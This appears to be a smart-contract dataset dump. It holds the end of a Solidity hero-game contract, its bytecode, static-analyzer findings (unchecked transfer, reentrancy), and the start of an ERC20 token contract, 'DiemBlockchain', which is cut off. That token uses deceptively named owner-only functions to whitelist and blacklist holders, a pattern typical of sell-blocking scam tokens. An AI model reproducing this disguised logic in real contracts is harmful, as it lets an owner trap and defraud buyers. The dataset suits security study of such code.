onlyLeader whenPaused { require(saleAuction != address(0)); require(fightAuction != address(0)); require(masterRecruitment != address(0)); require(erc20 != address(0)); require(newContractAddress == address(0)); super.unpause(); } function setNewCdFee(uint128 _cdFee) public onlyOPM { cdFee = _cdFee; } function reduceCD(uint256 heroId,uint256 reduceAmount) public whenNotPaused { Hero storage hero = heroes[heroId]; require(hero.cooldownEndTime > now); require(ownerIndexToERC20Balance[msg.sender] >= reduceAmount); uint64 cdTime = uint64(hero.cooldownEndTime-now); require(reduceAmount >= uint256(cdTime * cdFee * (hero.cooldownIndex+1))); ownerIndexToERC20Balance[msg.sender] -= reduceAmount; ownerIndexToERC20Used[msg.sender] += reduceAmount; totalUsed +=reduceAmount; hero.cooldownEndTime = uint64(now); } function useItems(uint32 _items, uint256 tokenId, address owner, uint256 fee) public returns (bool flag){ require(msg.sender == magicStore); require(owner == heroIndexToOwner[tokenId]); heroes[tokenId].items=_items; ItmesChange(tokenId,_items); ownerIndexToERC20Balance[owner] -= fee; ownerIndexToERC20Used[owner] += fee; totalUsed +=fee; flag = true; } }
0x60606040526004361061031e5763ffffffff60e060020a60003504166305e45546811461033557806306fdde031461035a57806307120872146103e4578063095ea7b3146104035780631051db341461042557806310abda2b1461044c57806318160ddd1461047b5780631a4377801461048e5780631cbdca8f146104aa57806321d80111146104c957806323b872dd1461053c578063362f2610146105645780633dac35df146105835780633f4ba83a146105a2578063404d0e3e146105b55780634331e8dd146105c85780634707f44f146105e757806355f03816146106095780635701b9271461062257806357f5abe51461064157806359179dbd1461065a57806359b583851461067f5780635b7fa2f91461069e5780635c975abb146106c35780635fd8c710146106d657806360af9f91146106e95780636352211e146106fc57806363a1512e146107125780636af04a57146107315780636fbde40d1461074457806370a08231146107635780637158798814610782578063727cdf87146107a1578063785e9e86146107b75780637e9cd30c146107ca57806383b5ff8b146107ec5780638456cb59146107ff5780638ba93fcb1461081257806391876e5714610825578063949a59f21461083857806395d89b41146108675780639d6fac6f1461087a578063a3d0745214610890578063a48de68b146108a3578063a515aaeb146108c5578063a56b3d11146108f4578063a6504c9b14610913578063a9059cbb14610929578063aa54beac1461094b578063ab9af16614610961578063ad7a672f14610977578063addf08131461098a578063ae4d0ff7146109a0578063b2a11ab1146109b3578063b2e2c75f146109d5578063b37139e6146109e8578063b531933514610a01578063ce3f865f14610a14578063d357eb8714610a2a578063d79e375514610a49578063dc31e47314610a5c578063de3e305f14610a6f578063e22fcd0814610a85578063e457e1e514610ab3578063e6cbe35114610ac9578063eb845c1714610adc578063edc11a1114610aef578063f1ca941014610b05578063f616ce3c14610b18578063fd01249c14610b2b575b33600160a060020a0316151561033357600080fd5b005b341561034057600080fd5b610348610b44565b60405190815260200160405180910390f35b341561036557600080fd5b61036d610b4a565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156103a9578082015183820152602001610391565b50505050905090810190601f1680156103d65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103ef57600080fd5b610333600435602435604435606435610be8565b341561040e57600080fd5b610333600160a060020a0360043516602435610cd8565b341561043057600080fd5b610438610d53565b604051901515815260200160405180910390f35b341561045757600080fd5b61045f610d59565b604051600160a060020a03909116815260200160405180910390f35b341561048657600080fd5b610348610d68565b341561049957600080fd5b610333600435602435604435610d72565b34156104b557600080fd5b610333600160a060020a0360043516611013565b34156104d457600080fd5b6104df600435611050565b6040519915158a5260208a01989098526040808a01979097526060890195909552608088019390935260a087019190915260c086015260e085015261010084015263ffffffff909116610120830152610140909101905180910390f35b341561054757600080fd5b610333600160a060020a0360043581169060243516604435611191565b341561056f57600080fd5b610348600160a060020a03600435166111cb565b341561058e57600080fd5b610333600160a060020a03600435166111dd565b34156105ad57600080fd5b61033361128a565b34156105c057600080fd5b610348611339565b34156105d357600080fd5b610333600160a060020a036004351661133f565b34156105f257600080fd5b610348600160a060020a0360043516602435611391565b341561061457600080fd5b6103336004356024356113f3565b341561062d57600080fd5b610348600160a060020a0360043516611644565b341561064c57600080fd5b610333600435602435611656565b341561066557600080fd5b61033360043560243560443560643560843560a43561170b565b341561068a57600080fd5b610333600160a060020a03600435166117d1565b34156106a957600080fd5b610333600160a060020a036004351660243560443561187e565b34156106ce57600080fd5b6104386119b1565b34156106e157600080fd5b6103336119c1565b34156106f457600080fd5b61045f611a15565b341561070757600080fd5b61045f600435611a24565b341561071d57600080fd5b610333600160a060020a0360043516611a4d565b341561073c57600080fd5b61045f611a9f565b341561074f57600080fd5b610333600160a060020a0360043516611aae565b341561076e57600080fd5b610348600160a060020a0360043516611b5b565b341561078d57600080fd5b610333600160a060020a0360043516611b76565b34156107ac57600080fd5b610333600435611c04565b34156107c257600080fd5b61045f611c24565b34156107d557600080fd5b610333600435600160a060020a0360243516611c33565b34156107f757600080fd5b610348611c89565b341561080a57600080fd5b610333611c8f565b341561081d57600080fd5b61045f611d02565b341561083057600080fd5b610333611d11565b341561084357600080fd5b61084e600435611dd0565b60405163ffffffff909116815260200160405180910390f35b341561087257600080fd5b61036d611de8565b341561088557600080fd5b61084e600435611e53565b341561089b57600080fd5b61045f611e80565b34156108ae57600080fd5b610333600435600160a060020a0360243516611e8f565b34156108d057600080fd5b6108d8611f0b565b6040516001608060020a03909116815260200160405180910390f35b34156108ff57600080fd5b6103336001608060020a0360043516611f1a565b341561091e57600080fd5b61084e600435611f60565b341561093457600080fd5b610333600160a060020a0360043516602435611f78565b341561095657600080fd5b61045f600435611fad565b341561096c57600080fd5b610348600435611fc8565b341561098257600080fd5b6103486120f6565b341561099557600080fd5b6103336004356120fc565b34156109ab57600080fd5b610348612242565b34156109be57600080fd5b610333600435600160a060020a0360243516612248565b34156109e057600080fd5b6103486123ac565b34156109f357600080fd5b6103336004356024356123b2565b3415610a0c57600080fd5b61034861250a565b3415610a1f57600080fd5b610333600435612510565b3415610a3557600080fd5b610333600160a060020a03600435166125e1565b3415610a5457600080fd5b610348612648565b3415610a6757600080fd5b61045f61264e565b3415610a7a57600080fd5b61045f60043561265d565b3415610a9057600080fd5b61043863ffffffff60043516602435600160a060020a0360443516606435612678565b3415610abe57600080fd5b610333600435612778565b3415610ad457600080fd5b61045f61282d565b3415610ae757600080fd5b61034861283c565b3415610afa57600080fd5b610438600435612842565b3415610b1057600080fd5b610348612930565b3415610b2357600080fd5b610348612936565b3415610b3657600080fd5b61033360043560243561293c565b601d5481565b60138054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be05780601f10610bb557610100808354040283529160200191610be0565b820191906000526020600020905b815481529060010190602001808311610bc357829003601f168201915b505050505081565b60015460a060020a900460ff1615610bff57600080fd5b610c093385612a73565b1515610c1457600080fd5b610c1d84612842565b1515610c2857600080fd5b601754610c3f908590600160a060020a0316612a93565b601754600160a060020a0316632b549b82858585600080873360405160e060020a63ffffffff8a160281526004810197909752602487019590955260448601939093526064850191909152608484015260a4830152600160a060020a031660c482015260e401600060405180830381600087803b1515610cbe57600080fd5b6102c65a03f11515610ccf57600080fd5b50505050505050565b60015460a060020a900460ff1615610cef57600080fd5b610cf93382612a73565b1515610d0457600080fd5b610d0e8183612a93565b8082600160a060020a031633600160a060020a03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b60015b90565b600054600160a060020a031681565b600d546000190190565b6001546000908190819060a060020a900460ff1615610d9057600080fd5b610d9a3386612a73565b1515610da557600080fd5b610dae85612842565b1515610db957600080fd5b84861415610dc657600080fd5b600160a060020a03331660009081526003602052604090205484901015610dec57600080fd5b601754600160a060020a031663d6a9de518760006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610e3d57600080fd5b6102c65a03f11515610e4e57600080fd5b5050506040518051601754909450600160a060020a0316905063c982e35387600160006040516020015260405160e060020a63ffffffff8516028152600481019290925260ff166024820152604401602060405180830381600087803b1515610eb657600080fd5b6102c65a03f11515610ec757600080fd5b5050506040518051925050838211801590610eea5750600160a060020a03831615155b1515610ef557600080fd5b601754600160a060020a031663f4accda587863360006040516020015260405160e060020a63ffffffff861602815260048101939093526024830191909152600160a060020a03166044820152606401602060405180830381600087803b1515610f5e57600080fd5b6102c65a03f11515610f6f57600080fd5b505050604051805190501561100b57610f888587612ac1565b50600160a060020a0333811660009081526003602090815260408083208054899003905560049091529020805486019055838116309091161415610fd357600680548501905561100b565b610fdc82612d50565b600680548487038301019055600160a060020a0384166000908152600360205260409020805482850301905590505b505050505050565b60015433600160a060020a0390811691161461102e57600080fd5b60098054600160a060020a031916600160a060020a0392909216919091179055565b6000806000806000806000806000806000600d8c81548110151561107057fe5b90600052602060002090600402019050428160010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1611159a508060010160189054906101000a900461ffff1661ffff1699508060010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1698508060010160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1697508060010160109054906101000a900463ffffffff1663ffffffff1696508060010160149054906101000a900463ffffffff1663ffffffff16955080600101601a9054906101000a900461ffff1661ffff16945080600001549350806002015492508060030160009054906101000a900463ffffffff169150509193959799509193959799565b61119b3382612d5c565b15156111a657600080fd5b6111b08382612a73565b15156111bb57600080fd5b6111c6838383612d7c565b505050565b60046020526000908152604090205481565b6000805433600160a060020a039081169116146111f957600080fd5b5080600160a060020a03811663443e1cf76000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561124157600080fd5b6102c65a03f1151561125257600080fd5b50505060405180519050151561126757600080fd5b60178054600160a060020a031916600160a060020a039290921691909117905550565b60005433600160a060020a039081169116146112a557600080fd5b60015460a060020a900460ff1615156112bd57600080fd5b601654600160a060020a031615156112d457600080fd5b601754600160a060020a031615156112eb57600080fd5b601554600160a060020a0316151561130257600080fd5b600254600160a060020a0316151561131957600080fd5b601f54600160a060020a03161561132f57600080fd5b611337612e43565b565b601a5481565b60005433600160a060020a0390811691161461135a57600080fd5b600160a060020a038116151561136f57600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b60008060015b61139f610d68565b81116113e6576000818152600e6020526040902054600160a060020a03868116911614156113de57838214156113d7578092506113eb565b6001909101905b600101611397565b600080fd5b505092915050565b600160a060020a033316600090815260036020526040812054819081908490101561141d57600080fd5b601654600160a060020a031663d6a9de518660006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561146e57600080fd5b6102c65a03f1151561147f57600080fd5b5050506040518051601654909450600160a060020a0316905063c982e35386600160006040516020015260405160e060020a63ffffffff8516028152600481019290925260ff166024820152604401602060405180830381600087803b15156114e757600080fd5b6102c65a03f115156114f857600080fd5b505050604051805192505083821180159061151b5750600160a060020a03831615155b151561152657600080fd5b601654600160a060020a031663f4accda586863360006040516020015260405160e060020a63ffffffff861602815260048101939093526024830191909152600160a060020a03166044820152606401602060405180830381600087803b151561158f57600080fd5b6102c65a03f115156115a057600080fd5b5050506040518051905080156115b65750600084115b1561163d57600160a060020a033381166000908152600360209081526040808320805489900390556004909152902080548601905583811630909116141561160557600680548501905561163d565b61160e82612d50565b600680548487038301019055600160a060020a0384166000908152600360205260409020805482850301905590505b5050505050565b60036020526000908152604090205481565b6000805433600160a060020a0390811691161461167257600080fd5b600254600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156116cb57600080fd5b6102c65a03f115156116dc57600080fd5b5050506040518051600780548601908190556005549193509083031015905061170457600080fd5b5060085550565b6117153387612a73565b151561172057600080fd5b601654611737908790600160a060020a0316612a93565b601654600160a060020a0316632b549b828787878787873360405160e060020a63ffffffff8a160281526004810197909752602487019590955260448601939093526064850191909152608484015260a4830152600160a060020a031660c482015260e401600060405180830381600087803b15156117b557600080fd5b6102c65a03f115156117c657600080fd5b505050505050505050565b6000805433600160a060020a039081169116146117ed57600080fd5b5080600160a060020a038116631bd2b37c6000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561183557600080fd5b6102c65a03f1151561184657600080fd5b50505060405180519050151561185b57600080fd5b60158054600160a060020a031916600160a060020a039290921691909117905550565b60008054819033600160a060020a0390811691161461189c57600080fd5b84915081600160a060020a0316632eb67f536000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156118e557600080fd5b6102c65a03f115156118f657600080fd5b50505060405180519050151561190b57600080fd5b60028054600160a060020a031916600160a060020a038481169190911791829055166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561197a57600080fd5b6102c65a03f1151561198b57600080fd5b5050506040518051915050838110156119a357600080fd5b505060079190915560085550565b60015460a060020a900460ff1681565b60005433600160a060020a039081169116146119dc57600080fd5b600054600160a060020a039081169030163180156108fc0290604051600060405180830381858888f19350505050151561133757600080fd5b601554600160a060020a031681565b6000818152600e6020526040902054600160a060020a0316801515611a4857600080fd5b919050565b60005433600160a060020a03908116911614611a6857600080fd5b600160a060020a0381161515611a7d57600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b601f54600160a060020a031681565b6000805433600160a060020a03908116911614611aca57600080fd5b5080600160a060020a0381166385b861886000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515611b1257600080fd5b6102c65a03f11515611b2357600080fd5b505050604051805190501515611b3857600080fd5b60168054600160a060020a031916600160a060020a039290921691909117905550565b600160a060020a03166000908152600f602052604090205490565b60005433600160a060020a03908116911614611b9157600080fd5b60015460a060020a900460ff161515611ba957600080fd5b601f8054600160a060020a031916600160a060020a0383161790557f450db8da6efbe9c22f2347f7c2021231df1fc58d3ae9a2fa75d39fa44619930581604051600160a060020a03909116815260200160405180910390a150565b60015433600160a060020a03908116911614611c1f57600080fd5b601855565b600254600160a060020a031681565b60015433600160a060020a03908116911614611c4e57600080fd5b60015460a060020a900460ff1615611c6557600080fd5b611c6f3083612a73565b1515611c7a57600080fd5b611c85308284612d7c565b5050565b60185481565b60015433600160a060020a0390811691161480611cba575060005433600160a060020a039081169116145b1515611cc557600080fd5b60015460a060020a900460ff1615611cdc57600080fd5b6001805474ff0000000000000000000000000000000000000000191660a060020a179055565b600954600160a060020a031681565b60015433600160a060020a03908116911614611d2c57600080fd5b601654600160a060020a0316635fd8c7106040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515611d6b57600080fd5b6102c65a03f11515611d7c57600080fd5b5050601754600160a060020a03169050635fd8c7106040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515611dbf57600080fd5b6102c65a03f115156111c657600080fd5b60116020526000908152604090205463ffffffff1681565b60148054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be05780601f10610bb557610100808354040283529160200191610be0565b600a81600e8110611e6057fe5b60089182820401919006600402915054906101000a900463ffffffff1681565b601754600160a060020a031681565b60015433600160a060020a03908116911614611eaa57600080fd5b600160a060020a0381161515611ec85750600154600160a060020a03165b601954601d5410611ed857600080fd5b601a54601e5410611ee857600080fd5b601d80546001908101909155601e805490910190556111c6600080808585612e96565b600c546001608060020a031681565b60015433600160a060020a03908116911614611f3557600080fd5b600c80546fffffffffffffffffffffffffffffffff19166001608060020a0392909216919091179055565b60126020526000908152604090205463ffffffff1681565b600160a060020a0382161515611f8d57600080fd5b611f973382612a73565b1515611fa257600080fd5b611c85338383612d7c565b600e60205260009081526040902054600160a060020a031681565b6000611fd2613264565b6000600d84815481101515611fe357fe5b9060005260206000209060040201610120604051908101604090815282548252600183015467ffffffffffffffff80821660208501526801000000000000000082041691830191825263ffffffff70010000000000000000000000000000000082048116606085015260a060020a82048116608085015261ffff60c060020a8304811660a086015260d060020a90920490911660c0840152600284015460e0840152600390930154909216610100820152925042905167ffffffffffffffff16116120ad57600080fd5b42826040015167ffffffffffffffff160390508160a00151600c5467ffffffffffffffff9092166001608060020a039283160261ffff6001929092019190911602169392505050565b60055481565b6000805433600160a060020a0390811691161461211857600080fd5b600254600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561217157600080fd5b6102c65a03f1151561218257600080fd5b5050506040518051905090508160065460055460075401038203101515156121a957600080fd5b60025460008054600160a060020a039283169263a9059cbb9291169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561221157600080fd5b6102c65a03f1151561222257600080fd5b505050604051805150506005805483900390555060068054919091039055565b601b5481565b60008054819033600160a060020a0390811691161461226657600080fd5b600254600160a060020a038481169116141561228157600080fd5b30600160a060020a031683600160a060020a0316141515156122a257600080fd5b82915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156122fc57600080fd5b6102c65a03f1151561230d57600080fd5b50505060405180519150508381101561232557600080fd5b60008054600160a060020a038085169263a9059cbb929091169087906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561238b57600080fd5b6102c65a03f1151561239c57600080fd5b5050506040518051505050505050565b60065481565b600154600090819060a060020a900460ff16156123ce57600080fd5b600d8054859081106123dc57fe5b90600052602060002090600402019150428260010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1611151561241c57600080fd5b600160a060020a0333166000908152600360205260409020548390101561244257600080fd5b50600180820154600c544267ffffffffffffffff680100000000000000008404811691909103939084166001608060020a039283160261ffff60c060020a9094048416909101909216919091021683101561249c57600080fd5b5033600160a060020a0316600090815260036020908152604080832080548690039055600490915290208054830190556006805490920190915560010180546fffffffffffffffff00000000000000001916680100000000000000004267ffffffffffffffff160217905550565b60195481565b600160a060020a0333166000908152600360205260409020548190101561253657600080fd5b600254600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561259557600080fd5b6102c65a03f115156125a657600080fd5b50505060405180519050156125de57600160a060020a0333166000908152600360205260409020805482900390556005805482900390555b50565b60165433600160a060020a039081169116146125fc57600080fd5b6008546007541015801561261257506000600854115b156125de5760088054600160a060020a038316600090815260036020526040902080549091019055546007805491909103905550565b60075481565b600154600160a060020a031681565b601060205260009081526040902054600160a060020a031681565b60095460009033600160a060020a0390811691161461269657600080fd5b6000848152600e6020526040902054600160a060020a038481169116146126bc57600080fd5b84600d858154811015156126cc57fe5b906000526020600020906004020160030160006101000a81548163ffffffff021916908363ffffffff160217905550837ff7951baff512f059b50f5d5d9c41ac735002cea58e88fb8c089cdb033ade2c328660405163ffffffff909116815260200160405180910390a250600160a060020a0390911660009081526003602090815260408083208054859003905560049091529020805482019055600680549091019055506001919050565b600254600160a060020a03166323b872dd33308460006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156127e457600080fd5b6102c65a03f115156127f557600080fd5b50505060405180519050156125de57600160a060020a0333166000908152600360205260409020805482019055600580548201905550565b601654600160a060020a031681565b601c5481565b600061284c613264565b6000831161285957600080fd5b600d80548490811061286757fe5b9060005260206000209060040201610120604051908101604090815282548252600183015467ffffffffffffffff80821660208501526801000000000000000082041691830191825263ffffffff70010000000000000000000000000000000082048116606085015260a060020a82048116608085015261ffff60c060020a8304811660a086015260d060020a90920490911660c0840152600284015460e0840152600390930154909216610100820152915042905167ffffffffffffffff1611159392505050565b601e5481565b60085481565b60015460009033600160a060020a0390811691161461295a57600080fd5b601a54601e541061296a57600080fd5b6001608060020a03821061297d57600080fd5b61298c60008060008630612e96565b6016549091506129a6908290600160a060020a0316612a93565b8115156129b8576129b5613100565b91505b601660009054906101000a9004600160a060020a0316600160a060020a0316632b549b8282846103e8026000866000601c543060405160e060020a63ffffffff8a160281526004810197909752602487019590955260448601939093526064850191909152608484015260a4830152600160a060020a031660c482015260e401600060405180830381600087803b1515612a5157600080fd5b6102c65a03f11515612a6257600080fd5b5050601e8054600101905550505050565b6000908152600e6020526040902054600160a060020a0391821691161490565b6000918252601060205260409091208054600160a060020a031916600160a060020a03909216919091179055565b600080600080600080600080600080600160149054906101000a900460ff16151515612aec57600080fd5b600d805463ffffffff8e16908110612b0057fe5b60009182526020909120600490910201600181015490995067ffffffffffffffff161515612b2d57600080fd5b600d805463ffffffff8d16908110612b4157fe5b600091825260209091206001808c015460049093029091019081015490995061ffff60d060020a92839004811699509190041687901115612b8f57600188015460d060020a900461ffff1696505b6015546002808b0154908a0154600160a060020a0390921691630bb536a2919060006040516080015260405160e060020a63ffffffff851602815260048101929092526024820152604401608060405180830381600087803b1515612bf357600080fd5b6102c65a03f11515612c0457600080fd5b50505060405180519060200180519060200180519060200180516002808f018490558d01819055939950919750955090935050851515612c4257999a995b600e60008d63ffffffff16815260200190815260200160002060009054906101000a9004600160a060020a031691506001601160008e63ffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160192506101000a81548163ffffffff021916908363ffffffff1602179055506001601260008d63ffffffff16815260200190815260200160002060008282829054906101000a900463ffffffff160192506101000a81548163ffffffff021916908363ffffffff160217905550612d2d8c63ffffffff168c63ffffffff168960010161ffff168886612e96565b9050612d388861319a565b612d418961319a565b9b9a5050505050505050505050565b60185461271091020490565b600090815260106020526040902054600160a060020a0391821691161490565b600160a060020a038083166000818152600f6020908152604080832080546001019055858352600e90915290208054600160a060020a0319169091179055831615612dfd57600160a060020a0383166000908152600f602090815260408083208054600019019055838352601090915290208054600160a060020a03191690555b8082600160a060020a031684600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60005433600160a060020a03908116911614612e5e57600080fd5b60015460a060020a900460ff161515612e7657600080fd5b6001805474ff000000000000000000000000000000000000000019169055565b600080612ea1613264565b600061ffff871115612eb257600080fd5b600287049250600d8361ffff161115612eca57600d92505b610120604051908101604090815287825267ffffffffffffffff42166020830152600090820181905263ffffffff808c1660608401528a16608083015261ffff80861660a0840152891660c083015260e08201889052610100820152600d8054919350600191808301612f3d83826132b0565b6000928352602090922085916004020181518155602082015160018201805467ffffffffffffffff191667ffffffffffffffff9290921691909117905560408201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160010160106101000a81548163ffffffff021916908363ffffffff16021790555060808201518160010160146101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160010160186101000a81548161ffff021916908361ffff16021790555060c082015181600101601a6101000a81548161ffff021916908361ffff16021790555060e08201518160020155610100820151600391909101805463ffffffff191663ffffffff9283161790559290910392505081111561307a57600080fd5b84600160a060020a03167f9b73c004d86df6be87798e8c67fba0e1dafd8860823270bc5c66a5ba3c4235d282846060015163ffffffff16856080015163ffffffff1686516040518085815260200184815260200183815260200182815260200194505050505060405180910390a26130f460008683612d7c565b98975050505050505050565b60165460009081908190600160a060020a031663eac9d94c82604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561314e57600080fd5b6102c65a03f1151561315f57600080fd5b50505060405180519250506001608060020a03821061317d57600080fd5b6002820482019050601b548110156131945750601b545b92915050565b6001810154600a9060c060020a900461ffff16600e81106131b757fe5b600880820492909201546001840180546fffffffffffffffff0000000000000000191668010000000000000000949093066004026101000a90910463ffffffff16420167ffffffffffffffff16929092021790819055600d60c060020a90910461ffff1610156125de576001818101805461ffff60c060020a80830482169094011690920279ffff0000000000000000000000000000000000000000000000001990921691909117905550565b6101206040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e0820181905261010082015290565b8154818355818115116111c6576000838152602090206111c691610d569160049182028101918502015b8082111561332d5760008082556001820180547fffffffff00000000000000000000000000000000000000000000000000000000169055600282015560038101805463ffffffff191690556004016132da565b50905600a165627a7a7230582011073786b327879ce802072c7b348bf92767485e90c6a14dcfc41a22911132cf0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
4,847
0xfb8688a7eb1ad431f3957103b2bd014fb2228cfa
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract DiemBlockchain is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); 